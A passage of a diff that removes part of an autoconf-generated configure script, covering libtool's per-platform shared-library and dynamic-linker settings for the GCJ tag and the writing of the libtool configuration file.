- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_GCJ=
-if test -n "$hardcode_libdir_flag_spec_GCJ" || \
- test -n "$runpath_var_GCJ" || \
- test "X$hardcode_automatic_GCJ" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_GCJ" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no &&
- test "$hardcode_minus_L_GCJ" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_GCJ=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_GCJ=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_GCJ=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_GCJ" >&5
-$as_echo "$hardcode_action_GCJ" >&6; }
-
-if test "$hardcode_action_GCJ" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_GCJ \
- CC_GCJ \
- LD_GCJ \
- lt_prog_compiler_wl_GCJ \
- lt_prog_compiler_pic_GCJ \
- lt_prog_compiler_static_GCJ \
- lt_prog_compiler_no_builtin_flag_GCJ \
- export_dynamic_flag_spec_GCJ \
- thread_safe_flag_spec_GCJ \
- whole_archive_flag_spec_GCJ \
- enable_shared_with_static_runtimes_GCJ \
- old_archive_cmds_GCJ \
- old_archive_from_new_cmds_GCJ \
- predep_objects_GCJ \
- postdep_objects_GCJ \
- predeps_GCJ \
- postdeps_GCJ \
- compiler_lib_search_path_GCJ \
- archive_cmds_GCJ \
- archive_expsym_cmds_GCJ \
- postinstall_cmds_GCJ \
- postuninstall_cmds_GCJ \
- old_archive_from_expsyms_cmds_GCJ \
- allow_undefined_flag_GCJ \
- no_undefined_flag_GCJ \
- export_symbols_cmds_GCJ \
- hardcode_libdir_flag_spec_GCJ \
- hardcode_libdir_flag_spec_ld_GCJ \
- hardcode_libdir_separator_GCJ \
- hardcode_automatic_GCJ \
- module_cmds_GCJ \
- module_expsym_cmds_GCJ \
- lt_cv_prog_compiler_c_o_GCJ \
- exclude_expsyms_GCJ \
- include_expsyms_GCJ; do
-
- case $var in
- old_archive_cmds_GCJ | \
- old_archive_from_new_cmds_GCJ | \
- archive_cmds_GCJ | \
- archive_expsym_cmds_GCJ | \
- module_cmds_GCJ | \
- module_expsym_cmds_GCJ | \
- old_archive_from_expsyms_cmds_GCJ | \
- export_symbols_cmds_GCJ | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_GCJ
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_GCJ
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_GCJ
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_GCJ
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_GCJ
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_GCJ
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_GCJ
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_GCJ
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_GCJ
-archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_GCJ
-module_expsym_cmds=$lt_module_expsym_cmds_GCJ
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_GCJ
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_GCJ
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_GCJ
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_GCJ
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_GCJ
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_GCJ
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_GCJ
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_GCJ
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_GCJ
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_GCJ"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_GCJ
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_GCJ
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_GCJ
-
-# Symbols that must always be exported.
